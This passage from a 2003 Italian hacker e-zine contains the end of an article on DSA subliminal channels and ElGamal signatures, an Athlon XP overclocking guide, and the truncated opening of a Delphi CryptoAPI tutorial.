che viene | | applicata in genere alle firme digitali o ad altri oggetti | | crittografici. In pratica funziona cosi': Alice manda dei messaggi a Bob | | e li firma con la sua chiave privata, Bob (che ha la chiave pubblica di | | Alice) puo' essere sicuro che e' stata Alice e non altri a scrivere quei | | messaggi. Ma non e' finita qui: in molti algoritmi Alice ha la | | possibilita' "iniettare" una piccola porzione di messaggio nella sua | | firma - facendo in modo che la firma resti pur sempre valida -, | | messaggio che sara' leggibile solo conoscendo la sua chiave privata. In | | questo caso si dice che nel crittosistema c'e' un canale subliminale. | | Prendiamo l'esempio del DSA: nella generazione della firma Alice deve | | scegliere un elemento "k" a caso in GF(q) (diverso da 0), poi con quello | | generera' la firma. Ma se invece di un numero casuale Alice scegliesse | | questo k di proposito? Dopotutto k e' di 160 bit, cioe' 20 byte, quindi | | Alice (senza usare mezzi di compressione) potrebbe iniettare fino a 20 | | caratteri ASCII in k. Se io conoscessi per caso la chiave privata di | | Alice - e quindi conoscessi x - potrei risalire a ritroso nelle | | equazioni matematiche di prima e ritrovare k, che riuscirei cosi' a | | leggere. Ci si puo' accorgere del messaggio nascosto solo conoscendo x, | | perche' una firma alterata da un canale subliminale non e' assolutamente | | distinguibile da una firma normale - puo' sempre essere usata per | | l'autenticazione. | | | | guarda, ormai ho capito che sei un tipo giusto, | | quindi se mi dici cosi' la cosa deve avere una | | qualche utilita'. Giustooo? | | | | Si' infatti. Mettiamo caso per assurdo che Bob conoscesse ANCHE la | | chiave privata di Alice. Non c'e' poi molto di assurdo in tutto cio': se | | lo scopo del protocollo e' solo quello di consentire a Bob di | | autenticare Alice la cosa funziona benissimo lo stesso, unica | | controindicazione e' che anche Bob potra' generare le firme di Alice, ma | | Bob potrebbe avere un ruolo tale che non avrebbe interesse a farlo, o | | Alice potrebbe fidarsi ciecamente di Bob. | | Qualunque sia il motivo, dunque, Bob conosce x. Eve va a casa di Alice e | | minacciandola con uno degli innocui AK-47 di prima la costringe a | | scrivere un messaggio a Bob e a firmarlo con la sua chiave. Alice esegue | | ma, senza farsi notare, inietta il seguente messaggio nella firma: | | | | "Eve mi costringe." | | | | che e' sotto il limite dei 20 caratteri e quindi entra in k. Bob va a | | controllare il messaggio subliminale e scopre l'inganno. | | | | figo! | | | | Infatti. Un canale subliminale di questo tipo in se' per se' non e' una | | cosa cattiva anzi... Spesso rappresenta un punto a favore | | dell'algoritmo, dopotutto lo si puo' utilizzare solo se si conosce la | | chiave privata del mittente, e quindi si ha gia' un livello di fiducia | | molto elevato. C'e' di piu': dovete sapere che sono stati scoperti | | canali subliminali di questo tipo in quasi tutti gli algoritmi di firma: | | si puo' infatti dimostrare che qualsiasi sistema di identificazione puo' | | essere trasformato in un canale subliminale. | | | | ma che c'entra questo col discorso dell'NSA? | | | | Beh, il problema e' che c'e' canale e canale... | | | | Gustavus Simmons, uno dei maggiori esperti di canali subliminali, ne ha | | scoperto uno nel DSA molto pericoloso, che permette di ricavare il | | messaggio iniettato nella firma SENZA conoscere la chiave privata, ma | | solo una chiave segreta generata a priori. Questo sistema potrebbe | | permettere ad un implementatore malizioso (una software house ad | | esempio) di scrivere un programma di crittografia (tipo PGP) | | "taroccato", capace di iniettare un pezzo della chiave privata | | dell'utente (anche quella di crittazione, non solo quella della firma) | | in ogni messaggio che viene firmato. Reintercettando i messaggi firmati | | la software house, grazie alla chiave segreta, puo' ricostruire pezzo | | per pezzo le chiavi private degli utenti. La cosa spaventosa e' che | | anche se l'utente avesse il sospetto di quel che sta accadendo, non | | potrebbe provarlo senza accedere ai sorgenti di quel programma: finche' | | la chiave segreta della software house resta segreta non c'e' modo di | | distinguere una firma fasulla da una che contiene un pezzo della tua | | chiave: sono entrambe funzionali! Se si riesce ad accedere ai sorgenti | | del programma (o a fare reverse engineering), l'eventuale presenza di | | questo "cavallo di troia al rovescio" - perche' fa uscire cose che non | | dovrebbero uscire invece di far entrare cose che non dovrebbero entrare | | - si puo' notare, altrimenti per accorgersene bisognerebbe conoscere la | | chiave segreta dell'implementatore. Capite da soli poi che se | | l'algoritmo e' contenuto in un chip tamperproof e non c'e' modo di | | accedervi, beh... allora comprate la vostra sicurezza a scatola chiusa. | | Secondo Simmons "e' una rimarchevole coincidenza che il DSS contenga la | | piu' confortevole predisposizione per informazione subliminale mai | | scoperta". | | | | Nessun commento da parte del NIST e dell'NSA a queste osservazioni. | | Nessuno sa nemmeno se ne fossero al corrente. Una cosa e' certa: non | | dovete mai usare un'implementazione del DSS se non vi fidate | | dell'implementatore. Ed e' per motivi come questo che non dovete | | accettare MAI di usare versioni di programmi quali PGP delle quali non | | sia disponibile il codice sorgente. | | | | | | *** ELUDERE IL CANALE SUBLIMINALE DSA *** | | | | C'e' comunque un modo, seppur molto scomodo, per risolvere almeno in | | parte il problema del canale subliminale DSA. Il canale funziona grazie | | al fatto che ad Alice e' permesso scegliere k, se non le fosse permesso | | sceglierlo il canale non funzionerebbe piu'. D'altro canto nemmeno | | nessun altro deve poter scegliere k, altrimenti dalla firma si potrebbe | | risalire alla chiave x di Alice. L'unica soluzione e' studiare un | | protocollo che generi k insieme ad un'altra persona (Bob), in modo che: | | | | - Alice non possa pilotare la generazione di nessun bit di k | | - Bob non possa conoscere nessun bit di k | | - Bob possa certificare che il k e' stato generato | | effettivamente con questo protocollo | | | | Ecco il protocollo: | | | | 1 - Alice sceglie "k'" a caso nell'intervallo [2, p - 2] | | 2 - Alice calcola "u" = g^k' Mod p e lo spedisce a Bob | | 3 - Bob sceglie "k''" a caso nell'intervallo [2, p - 2] e lo | | spedisce ad Alice | | 4 - Alice calcola "k" = k' * k'' (mod p - 1) e lo usa per firmare | | il messaggio col DSA, quindi invia la firma (r, s) a Bob | | 5 - Bob verifica che ((u^k'' Mod p) Mod q) = r. Se la condizione | | e' verificata egli sa che la firma di Alice non contiene | | informazione subliminale perche' k e' stato generato random | | con questo protocollo. | | | | Infatti, se | | | | u^k'' = r | | | | allora, dalle definizioni di u ed r: | | | | (g^k')^k'' = g^k | | | | per le proprieta' delle potenze: | | | | g^(k' * k'') = g^k | | | | passando alla forma logaritmica: (ricordiamo che per quel Teorema strano | | del cap.2 si ha: g^k Mod p = g ^(k Mod N(p)) Mod p, e N(p) = p - 1 se p | | e' primo) otteniamo: | | | | k' * k'' = k (mod p - 1) | | | | che e' proprio il modo con cui k e' stato generato, ma Bob riesce a | | consatarlo senza conoscere k' (e quindi senza ricavare k e di | | conseguenza la chiave privata di Alice). | | Bob e Alice sanno cosi' che in k non c'e' informazione subliminale, ma | | solo loro. Bob non puo' provare questo fatto ad una terza parte, nemmeno | | mostrando un log dell'intero protocollo, altri dovranno ripetere il | | giochetto di persona con Alice per assicurarsene. | | Da notare che questo sistema non funziona se il programma di | | crittografia genera k da solo, quindi non puo' essere usato per | | individuare una versione taroccata del PGP ad esempio, ma d'altro canto | | se un programma usa questo protocollo si ha la certezza che non e' | | taroccato. | | Un fatto sorprendente e' che lo stesso Bob, nel momento in cui prende | | parte a questo protocollo, puo' creare il "suo" canale subliminale nella | | firma di Alice, scegliendo particolari valori di k''. Quando lo scopri', | | Simmons lo battezzo' "Chuckoo's Channel". Esiste cmq anche un protocollo | | three-way per eludere perfino questo canale. | | | | | | | | ================ | | *** EL GAMAL *** | | ================ | | | | Taher ElGamal e' l'ideatore di questo crittosistema asimmetrico. ElGamal | | puo' essere usato sia per la firma che per la crittazione, ma noi lo | | vediamo solo per la firma anche perche' in crittazione non e' molto | | diverso, e cmq non e' piu' sicuro del DH. | | ElGamal fa uso di parametri di dominio e la sua sicurezza deriva dal | | problema dei logaritmi discreti. | | | | [ Generazione dei parametri di dominio ] | | | | 1 - Genera un numero primo "p" molto grosso. | | Fortemente consigliato un "DH-prime". | | 2 - Genera una radice primitiva "g" modulo p e maggiore di 2 | | (genera g random nell'intervallo [3, p - 1], in realta' | | visto che g e' random puo' anche essere piu' piccola, | | tipo 160 bit) | | 3 - I parametri sono la coppia (p, g) e possono essere in | | comune a un gruppo di utenti | | | | | | [ Generazione delle chiavi ] | | | | 1 - Scegli un numero random "x" nell'intervallo [2, p - 1] | | (per x stesso discorso dei 160 bit di cui sopra) | | 2 - Calcola "y" = g^x Mod p | | 3 - La chiave pubblica e' y, la chiave privata e' x | | | | | | [ Firma ] | | Per firmare un messaggio "m", sia m il vero messaggio o l'hash del | | messaggio: | | | | 1 - Scegli "k" random nell'intervallo [2, p - 2] in modo che sia | | relativamente primo con (p - 1). Solito discoso dei 160 bit. | | Se p e' un DH-prime, per scegliere k di 160 bit in modo che | | sia primo relativo con (p - 1) basta sceglierlo dispari. | | 2 - Calcola "a" = g^k Mod p | | 3 - Trova k^(-1) (mod p - 1) con l'EEA | | 4 - Calcola "b" = (m (-) x * a) * k^(-1) (mod p - 1), dove (-) | | indica sottrazione modulare in modulo p - 1 | | 5 - La firma di m e' la coppia (a, b) | | | | | | [ Verifica ] | | | | 1 - Se y^a * a^b = g^m (mod p), allora la firma e' autentica. | | | | | | Infatti, dato che dobbiamo dimostrare che: | | | | y^a * a^b = g^m (mod p) | | | | possiamo scrivere tutti i termini come potenze di g, | | perche' y = g^x e a = g^k: | | | | (g^x)^a * (g^k)^b = g^m = | | | | = g^(x * a) * g^(k * b) = g^m (mod p) | | | | Si puo' allora passare alla forma logaritmica (ricordando il teorema | | strano): | | | | x * a + k * b = m (mod p - 1) | | | | ma, guardando la definizione di b: | | | | m - (x * a) | | x * a + k * ----------- = m ==> | | k | | | | ==> x * a + (m - x * a) = m ==> | | | | ==> x * a + m - x * a = m ==> | | | | ==> m = m | | | | L'equazione e' cosi' verificata. Di nuovo, senza conoscere k e x non si | | puo' generare una firma valida per un dato m. | | | | Una cosa triste dell'ElGamal e' che bisogna fare attenzione a non usare | | mai lo stesso k per firmare o per crittare. Come nel DSA infatti, | | conoscendo k si puo' risalire a x, ma qui la cosa e' ben peggiore | | perche' anche se due messaggi (anche diversi) sono firmati con lo stesso | | k, Eve puo' ricavarsi x. Cio' significa che ogni coppia di chiavi | | pubbliche ElGamal ha una specie di "scadenza teorica", perche' quando | | avrete esaurito tutti possibili valori di k meno uno (nella pratica, | | naturalmente, la chiave dovrebbe essere considerata insicura ben prima | | di questa soglia) la chiave e' da buttare. Per k di 160 bit potrete | | firmare messaggi da qui all'eternita' senza che la vostra chiave possa | | considerarsi insicura, quindi il vero problema non e' la "vecchiaia" | | della chiave, bensi' il fatto che ogni volta che firmate un messaggio | | dovrete controllare che il k scelto non l'abbiate gia' usato. E questo | | implica anche che ad ogni firma dovrete salvare da qualche parte il | | valore di k, se questo database cadesse in mano al nemico la vostra | | chiave e' compromessa. Un'alternativa a tutto cio' (dato che i possibili | | valori di k sono un'enormita' e dovreste avere proprio merda a beccare | | lo stesso due volte di fila) e' quella di non curarsi del valore di k, | | ma in questo caso e' indispensabile dotarsi di un buon generatore random | | ad uso crittografico - precauzione che dovreste comunque prendere | | SEMPRE. | | | | La sicurezza dell'ElGamal si stima essere, dal punto di vista del | | brute-forcing, pressoche' uguale a quella dell'RSA con moduli della | | stessa dimensione. Dal punto di vista crittanalitico non si conoscono | | attacchi efficaci su di esso, e il fatto che si basi sui logaritmi | | discreti invece che sulla fattorizzazione abbiamo gia' detto essere un | | vantaggio. | | | | Un grossissimo svantaggio e' dato comunque dalla dimensione della firma, | | che nell'ElGamal e' pari al DOPPIO della dimensione del modulo (un | | modulo decente dovrebbe essere di almeno 1024 bit), nonche' dalla sua | | pessima velocita'. | | | | Per finire, un punto a favore dell'algoritmo e' che il suo brevetto | | sembra essere scaduto e quindi non c'e' bisogno di licenza per usarlo, | | tant'e' vero che lo trovate anche in applicazioni open-source tipo | | GnuPG. | | | | | | | | | | ============================= | | *** CONSIDERAZIONI FINALI *** | | ============================= | | | | Ora che abbiamo visto alcuni degli algoritmi di firma piu' usati ci si | | potrebbe chiedere: ma quale tra questi tre e' il migliore? | | Ormai dovreste aver capito che la domanda e' un po' sciocca: non c'e' un | | algoritmo "migliore", ci sono solo algoritmi che si comportano meglio di | | altri da un certo punto di vista. | | | | Esaminiamo il punto di vista della velocita' di computazione: la | | seguente tabella mostra le performances di questi algoritmi in firma e | | in verifica effettuate su uno SPARC-II (i dati sono ripresi da "Applied | | Cryptography" e da altre parti), la dimensione del modulo usato e' di | | 1024 bit in tutti e tre i casi, mentre l'esponente pubblico "e" dell'RSA | | e' considerato di 8 bit e il "k" di DSS e ElGamal e' di 160 bit. | | | | +-----------+-----------+----------+ | | | RSA | DSS | ElGamal | | | +------------+-----------+-----------+----------+ | | | Firma | 0.97 sec | 0.57 sec | 0.63 sec | | | +------------+-----------+-----------+----------+ | | | Verifica | 0.08 sec | 1.27 sec | 9.30 sec | | | +------------+-----------+-----------+----------+ | | | | Appare evidente la netta predominanza dell'RSA, anche se il DSS si | | mantiene in ottimi valori (considerate che uno SPARC-II e' lentino...), | | mentre appare subito evidente che ElGamal e' una vera mer... cioe' | | scusate, volevo dire "non competitivo" ;) | | | | Esaminiamo poi il problema dell'occupazione di banda, che si traduce | | nelle dimensioni delle chiavi e delle firme nei tre algoritmi. Le | | dimensioni dei moduli e degli esponenti si considerano uguali a quelle | | della tabella sopra. Nel DSS ed ElGamal si considerano facenti parte | | delle chiavi anche i parametri di dominio, inoltre nella chiave DSS si | | includono i parametri S e C per certificare la genuinita' dei parametri | | di dominio. Da notare che dimensione delle firme e delle chiavi | | dipendono dal formato adottato, quindi escludiamo header, identificatori | | etc.: parliamo di dimensioni MINIME! | | | | +-----------+-----------+----------+ | | | RSA | DSS | ElGamal | | | +------------+-----------+-----------+----------+ | | | Chiave | | | | | | | Pubblica | 1032 bit | 2540 bit | 2208 bit | | | +------------+-----------+-----------+----------+ | | | Chiave | | | | | | | Privata | 2048 bit | 1504 bit | 1344 bit | | | +------------+-----------+-----------+----------+ | | | | | | | | | | Firma | 1024 bit | 320 bit | 2048 bit | | | +------------+-----------+-----------+----------+ | | | | Come vedete l'RSA e' il migliore riguardo all'ingombro delle chiavi, | | mentre nello stesso campo il DSS e' il peggiore. Il DSS e' di gran lunga | | il migliore pero' nella voce piu' importante: la dimensione della firma, | | proprio dove ElGamal e' pessimo. Notate inoltre che nel caso di ElGamal | | e RSA la stessa chiave puo' essere usata sia come mezzo di crittazione | | che di firma, mentre nel DSS solo per la firma: in programmi tipo PGP la | | chiave DSS e' affiancata da una seconda chiave di un altro algoritmo che | | permette in genere SOLO la crittazione o lo scambio di chiavi (quale il | | DH), i cui parametri possono non essere in comune - e quindi la | | dimensione totale della chiave cresce di molto. E' per questo che nella | | descrizione di una chiave PGP ad esempio trovate "DH/DSS": DH e' la | | parte per la crittazione, DSS quella per la firma. Ed e' anche per | | questo motivo che le chiavi RSA sono molto piu' compatte, a parita' di | | modulo, delle DH/DSS. | | | | Poi la questione sicurezza: TEORICAMENTE i tre sistemi si equivalgono, | | ma voglio lasciarmi andare a considerazioni MOLTO personali: | | | | Punto primo: l'RSA e' basato su fattorizzazione e non su | | logaritmi discreti, e questo non mi piace molto dato che abbiamo | | gia' detto che, da quel che si sa attualmente, | | SICUREZZA(fattorizzazione) <= SICUREZZA(discrete logs). | | | | Punto secondo: tutti o quasi gli algoritmi basati su logaritmi discreti | | possono essere implememtati in modalita' Curve Ellittiche (tanto per | | fare un esempio: esiste l'ECDSA: Elliptic Curve Digital Signature | | Algorithm), che e' cosa buona e giusta. Meno due punti per l'RSA. | | | | Punto terzo: DSS offre la sicurezza dell'origine dei parametri di | | dominio. Piu' un punto per il DSS. | | | | Punto quarto: DSS arriva al massimo a 1024 bit di dimensione modulo, RSA | | ed ElGamal vanno oltre. Meno un punto per il DSS. | | | | Punto quinto: nel DSS c'e' il GROSSO rischio, se non disponete del | | sorgente, del canale subliminale NSA. Meno due punti. | | | | Sembrerebbe che ElGamal sia il sistema di firma piu' sicuro. | | In effetti allo stato attuale delle cose forse (parere mio) e' cosi'. | | Ma e' giusto decretarlo "vincitore della classifica di Zer0"? :P | | | | Assolutamente no. Innanzitutto perche' e' troppo poco diffuso, lento, | | scomodo da usare per la dimensione delle firme. Non sono mai stato | | attratto dagli algoritmi "free" solo in quanto tali, credo che per fare | | un'analisi oggettiva questo parametro non debba essere tenuto in | | considerazione o quasi. Poi perche' tutti i punti a sfavore del DSA | | emergono soltanto dalla sua implementazione nello standard DSS (che | | blocca la dimensione del modulo a 1024 bit) e dal fatto che a volte non | | ne e' disponibile il codice sorgente. | | | | Insomma, secondo me un'implementazione open-source del DSA che possa | | usare moduli di dimensione variabile sarebbe l'algoritmo di firma | | migliore in assoluto, tra l'altro per la dimensione delle firme e per il | | fatto che potrebbe essere usato con le curve ellittiche. Il DSA mi piace | | veramente molto come algoritmo per le potenzialita' che offre. Si vede | | che i bastardi dell'NSA sanno il fatto loro! =) | | | | Ma dal momento che questa implementazione non esiste ancora (non che io | | sappia), il mio consiglio e' di usare l'RSA per le vostre firme, almeno | | ogni volta che potete scegliere tra DSS e RSA. Questo principalmente a | | causa della dimensione del modulo - comunque sia non dovete usare MAI | | programmi di cui non sia disponibile il sorgente. Per quanto riguarda | | ElGamal non lo considero veramente competitivo: si potra' dire forse che | | e' un minimo piu' sicuro dell'RSA, ma la sua scomodita' supera di gran | | lunga questo piccolo incremento di sicurezza. | | | | | | | | Orbene, questo e' quanto. Alla prox. | | Odio e Paranoia a tutti. | | | | Zer0 | | | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L'APPRENDiSTA STREG0NE #09 - 01/06/2003 | | 0VERCL0CK ESTREM0 Di UN ATHL0N XP [DJK] 0x1C/0x20 | +--------------------------------------------------------------------------+ | | | | | *********************************************************************** | | DISCLAIMER: Una qualsiasi modifica dei parametri di tensione e | | frequenza della mainboard puo' portare, nel peggiore dei casi, ad un | | danneggiamento dell'hardware. Effettuare queste modifiche con metodo e | | accuratezza puo' ridurre al minimo il rischio di danni al computer, ma | | non mi ritengo assolutamente responsabile se bruciate la CPU o | | qualsiasi altro componente. Utilizzate queste informazioni a vostro | | rischio e pericolo! | | *********************************************************************** | | | | Per overclock solitamente si intendono tutte quelle procedure che | | consentono di ottenere maggiori prestazioni dal proprio computer senza | | dover cambiare il processore. Solitamente uno dei fattori che incide | | maggiormente sull'acquisto di un computer e' proprio il processore, che | | e' anche il componente che si deprezza maggiormente nel tempo: se si | | acquista l'ultimissimo modello dopo 3 o 4 mesi il suo prezzo quasi si | | dimezza, con somma incazzatura di chi se l'era comprato! Chi utilizza | | il computer per lavoro o per divertimento, pero', puo' ottenere | | prestazioni extra modificando i parametri della CPU e portandoli a | | valori diversi da quelli stabiliti dalla casa produttrice. I nuovi AMD | | Athlon XP ed Intel Pentium IV hanno dei buoni margini di overclock, per | | cui puo' valere davvero la pena smanettare un po' per ottenere le | | prestazioni dei modelli piu' recenti (e costosi). | | | | Un buon overclock dipende sostanzialmente da quattro parametri: | | processore, scheda madre, memoria, circolazione d'aria. La scheda madre | | deve essere di buona qualita', avere un chipset che supporta | | l'overclock e la possibilita' di modificare i principali parametri | | della CPU e della memoria (dal BIOS o sulla scheda tramite jumpers) | | quali il Front Side Bus, il Vcore, il Vdimm. La memoria deve essere in | | grado di lavorare a frequenze di sistema alte in modo stabile, ed il | | processore deve essere tollerante all'overclock. Una buona circolazione | | d'aria e' fondamentale per garantire una bassa temperatura di sistema, | | e di conseguenza una piu' bassa temperatura di partenza per la CPU. | | Ogni processore ha un margine di overclock diverso, due identici | | modelli di processore possono avere frequenze massime di utilizzo molto | | diverse. | | | | Nello scorso numero di OndaQuadra vi ho descritto come overclockare un | | Pentium IV, prendendo in considerazione un Northwood 1.6 GHz e | | portandolo a 2800 MHz (recentemente 2880), questa volta invece parlero' | | degli Athlon XP. I processori AMD hanno avuto negli ultimi anni una | | fortissima penetrazione nel mercato consumer per i costi decisamente | | piu' bassi del "rivale" Intel e per la forte competitivita' dei suoi | | prodotti, in grado di raggiungere in molte applicazioni le stesse | | performance a frequenze piu' basse, grazie anche ad una FPU piu' | | evoluta. Altro punto a favore dei processori AMD e' la possibilita' di | | poter sbloccare il moltiplicatore di frequenza, in modo da raggiungere | | frequenze piu' elevate a parita' di Front Side Bus. | | | | Molti di voi avranno sicuramente un computer con un processore Athlon, | | Duron o Athlon XP, ed in commercio ci sono processori Athlon XP di | | fascia bassa (1700+ e 1800+) dal costo decisamente basso, quindi alla | | portata di tutti. Ecco la configurazione che ho utilizzato: | | | | Motherboard: Albatron KX400-8X | | Processore: AMD Athlon XP 1700+ Thoroughbred | | Memoria: 512MB DDR 400 MHz | | Hard Disk: Quantum Fireball AS 30GB | | DVD-ROM: Philips 16x | | Sistema operativo: Windows 98SE | | | | Per il sistema di raffreddamento ho adottato un dissipatore ad aria | | dalle grandi prestazioni, l'Arkua 6228, uno dei piu' performanti e | | silenziosi in circolazione. Ha un costo non elevato (circa 42 Euro), e | | ne esiste anche una versione piu' silenziosa, l'Arkua 628 e il 7528: | | sono modelli ad aria che consentono di effettuare overclock estremi | | senza correre il rischio di bruciare il processore. Oltre a questi | | dissipatori esistono anche altri modelli molto performanti come ad | | esempio il Cooljag JAC656A, l'Evercool CUD-725 ed il Sibak AC-06-725TH. | | Ho preferito non utilizzare un sistema di raffreddamento ad acqua, sia | | perche' ha costi ben piu' elevati sia per il fatto che richiede una | | continua manutenzione, poiche' una goccia d'acqua sulla motherboard a | | computer acceso potrebbe risultare fatale. Tutto questo materiale non | | e' semplicissimo da reperire in Italia, ma si puo' trovare su Overclock | | PC Italia (www.overclockitalia.tk o www.overclockitalia.cjb.net) a buon | | prezzo. | | | | Non tutti i processori Athlon XP hanno il moltiplicatore sbloccato di | | fabbrica, anche se non e' affatto difficile effettuare lo sblocco, di | | cui parleremo in seguito. Cerchero' di descrivere in linea generale | | come va effettuato un overclock, operazione che richiede un po' di | | tempo e pazienza se si vogliono ottenere risultati discreti: questa | | procedura e' adatta per qualsiasi processore Intel o AMD. Conviene | | innanzitutto lavorare a case aperto, per controllare l'efficienza delle | | ventole ed avere la possibilita' di accedere ai jumpers per cambiare i | | parametri della scheda madre, nel caso in cui questa non fosse | | jumperless. Dal BIOS (o a computer spento tramite i jumpers) si aumenta | | la frequenza di FSB a passi di qualche MHz, e si avvia la macchina: se | | il computer si blocca dopo pochi secondi o il monitor rimane nero, vuol | | dire che la frequenza di FSB impostata e' troppo elevata e bisogna | | diminuirla. Una volta lanciato il sistema operativo, utilizzare | | applicazioni che richiedono un gran numero di risorse di sistema, come | | benchmark o giochi ad alta definizione, e verificare che il sistema sia | | o meno stabile: schermate blu, reset improvvisi, programmi che si | | bloccano sono indici di una instabilita' del computer, e come si puo' | | ben capire un overclock instabile non serve a niente! Se la macchina | | risulta stabile si puo' procedere ad un successivo innalzamento dell' | | FSB, in caso negativo occorre aumentare la stabilita' del sistema: | | occorre agire sulla tensione di lavoro della CPU, Vcore, ed aumentarla | | a piccoli passi di 0.01 Volt fino a quando non si ottengono | | miglioramenti. Conviene cercare di limitare il piu' possibile gli | | aumenti di tensione perche' ad un aumento di Vcore corrisponde una | | maggiore quantita' di calore che la CPU produce. | | | | Nel caso in cui il processore che sti sta overclockando sia sbloccato, | | una volta annotati i valori FSB e Vcore che consentono di ottenere la | | massima frequenza a moltiplicatore di default, si cambia moltiplicatore | | (lo si aumenta o diminuisce) e si ripetono daccapo le operazioni. Con | | un po' di pazienza si compilera' una lista di tutte le frequenze | | massime ottenute per ogni moltiplicatore, e si scegliera' una delle | | combinazione moltiplicatore-Vcore-FSB che generano la frequenza piu' | | elevata. | | | | Aumentando l'FSB si costringono gli slot PCI ed AGP a lavorare a | | frequenze diverse da quelle di specifica, ed alcune periferiche come i | | controller SCSI potrebbero risentirne: per questo motivo si possono | | settare i divisori di frequenza per gli slot PCI (che lavorano | | solitamente a 33 MHz) e gli AGP (che lavorano a 66 MHz) in modo da | | restare il piu' possibile entro le specifiche. Dalla lista | | precedentemente compilata delle frequenze piu' alte ottenibili, | | conviene sempre scegliere tra le prime 2-3 quella che genera una | | frequenza per gli slot PCI ed AGP il piu' possibile vicina a quelle di | | specifica, che solitamente si ottengono per valori di FSB vicini ai | | valori di 100, 133 e 166 MHz. | | | | Vediamo ora come e' possibile sbloccare il moltiplicatore di frequenza | | di un processore AMD, sia per gli Athlon/Duron che per gli Athlon XP. I | | primi possono essere dotati di moltiplicatore di frequenza sbloccato se | | i contatti serigrafati a fianco della sigla L1 sono chiusi. Se i | | contatti non sono chiusi il moltiplicatore e' bloccato al valore di | | default, ma e' possibile ripristinare le connessioni usando una penna | | conduttiva o una matita. I processori Athlon XP esistono in due | | versioni: i Palomino con processo produttivo a 0.18 micron ed i | | Thoroughbred con processo produttivo a 0.13 micron. Solitamente i | | Palomino hanno il core quadrato ed i Thoroughbred (solitamente detti | | Thoro) hanno il core rettangolare, ma per conoscere con esattezza il | | proprio modello di processore si puo' usare la piccola e comoda utility | | CPU-Z, che si puo' trovare qui: http://www.cpuid.com/cpuz.php | | | | Esistono varie tecniche per sbloccare un Athlon XP, cerchero' di | | descriverne alcune. Per sbloccare un Palomino e` piuttosto difficile | | utilizzare la grafite di una matita come per gli Athlon, un buon metodo | | puo' essere utilizzare una pasta termoconduttiva all'argento: si stende | | un sottile strato nella zona dei bridges L1 e, aiutandosi con un ago, | | si creano cinque ponticelli (isolati gli uni dagli altri), che poi | | verranno coperti con un pezzo di scotch. Un'alternativa e' quella di | | creare cinque ponticelli effettuando delle microsaldature, ma se non si | | e' molto pratici forse e' meglio evitare. | | | | I processori Thoroughbred hanno dei fori anti overclock che sono stati | | creati per impedire la chiusura dei ponticelli, ma questi fori possono | | essere tranquillamente riempiti con un po' di attak. Se si possiede un | | 2200+ i bridges L1 saranno gia' tutti collegati, occorrera' quindi | | rivolgere la propria attenzione ai bridges L3, dei quali solo il | | secondo ed il quarto sono gia' collegati: per sbloccare il | | moltiplicatore bastera' collegare i ponticelli dispari con lo stesso | | metodo descritto per gli L1. Esiste anche una semplice modifica che | | consiste nel collegare due piedini sotto la CPU, ma non potendo | | inserire immagini preferisco evitare la descrizione per non generare | | equivoci. Infine processori come il 2100+, 2400+ e 2600+ sono ancora | | piu' semplici da sbloccare in quanto basta collegare l'ultimo | | ponticello degli L3. | | | | | | Tornando al nostro Athlon XP 1700+, con un po' di lavoro e soprattutto | | molta pazienza e' stato portato da 1466 MHz a ben 2500 MHz con Vcore a | | 2.15V, con un incremento di prestazioni di circa il 70%. Il nostro e' | | senza dubbio un processore molto fortunato, ma da ogni processore AMD | | si possono ottenere interessanti margini di overclock. In nostro | | supporto c'e' un ottimo sistema di raffreddamento, punto chiave per un | | overclock sicuro, duraturo e soddisfacente. | | | | L' Arkua 6228 non e' l'unico dissipatore ad aria che permette overclock | | di grande portata, ne esistono anche altri che consentono di ottenere | | comunque degli ottimi risultati, per un consiglio potete chiedere a me | | o andare sul sito di Overclock PC Italia. | | | | DJK - djk@gmx.it | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L'APPRENDiSTA STREG0NE #09 - 01/06/2003 | | CRYPT0APi iN DELPHi? MA CHE S0N0? [cyberdude] 0x1D/0x20 | +--------------------------------------------------------------------------+ | | | | | Salve a tutti ragazzi... innanzitutto un saluto generale | | a tutti i lettori di questa E-zine!Dunque, facciamo un | | pò il quadro della situazione domani ho l'interrogazione | | di filosofia ho da poco finito di ripeterla, oltretutto | | dopo deve venire Luciano e dobbiamo ripetere ancora!!! | | Sto aspettando con molta anzia il giorno che fialmente | | ci danno le feste di natale oggi 12 dicembre!Domani sera | | c'è il Pre-macP e quindi sabato non si va a scuola!Come | | ultima cosa voglio dire che mi manca da morire la mia | | piccolina e che la amo tanto tanto e le dedico questo | | tutorial pure se lei non c'entra proprio niente!! | | | | In realtà ho deciso di scrivere questo tutorial perchè | | mio zio Emilio, che saluto calorosamente, qualche tempo | | fa mi chiese qualche informazione sulla cryptografia... | | ma la storia è troppo lunga per spiegarla, in pratica | | io non ho avuto molto tempo per dedicarmi all'argomento | | ma visto che adesso ho un pò di tempo libero ho deciso | | di mettermi a lavoro. | | | | Iniziamo subito... vi presento la criptografia così : | | Oggi con la diffusione dei sistemi informatici, sia a | | livello aziendale che ai singoli utenti, il problema | | della segretezza dei propri dati è diventato quanto mai | | attuale; se poi si aggiunge lo sviluppo, quanto mai | | incontrollato, delle reti di comunicazione tramite | | computer, un esempio per tutte Internet, si può vedere | | come la crittologia, la scienza che si occupa di queste | | problematiche, stia diventando parte integrante della | | maggior parte dei progetti software in sviluppo. Questa | | può essere considerarata come costituita da due settori | | complementari: la crittografia, intesa come la | | progettazione di sistemi per la comunicazione segreta, | | e l'analisi cifrata, lo studio dei sistemi per | | compromettere, e quindi rendere visibile il documento | | precedentemente cifrato; le due branche vanno quindi di | | pari passo ed al miglioramento dell'una consegue uno | | sviluppo dell'altra, una eterna lotta tra il bene ed il | | male... | | | | Come abbiamo detto la crittografia fornisce un set di | | tecniche per la codifica, e successiva decodifica di | | messaggi, che quindi possono essere trasmessi | | segretamente. Cercherò adesso di spiegare alcuni termini | | e metodiche comunemente usate.Userò, in conformità alla | | documentazione Microsoft, il termine messaggio per file | | o dato di qualunque tipo che vorremo cifrare, e | | plaintext e ciphertext rispettivamente per riferirmi | | allo stesso nello stato non criptato e criptato.Quando | | un messaggio viene codificato può essere immagazzinato | | su disco, considerato un mezzo fondamentalmente non | | sicuro, o peggio ancora distribuito in rete, e tuttavia | | rimanere segreto fino alla sua decifratura. | | | | Il messaggio viene cifrato con una chiave, trasmesso e | | quindi decifrato con un’altra chiave che spesso coincide | | con la prima; il processo è simile a quello di chiudere | | una porta; con la chiave la chiudi, con la chiave la | | apri.Come si può vedere il processo è semplice, la parte | | difficile è mantenere segrete le chiavi.Esistono due | | metodi fondamentali 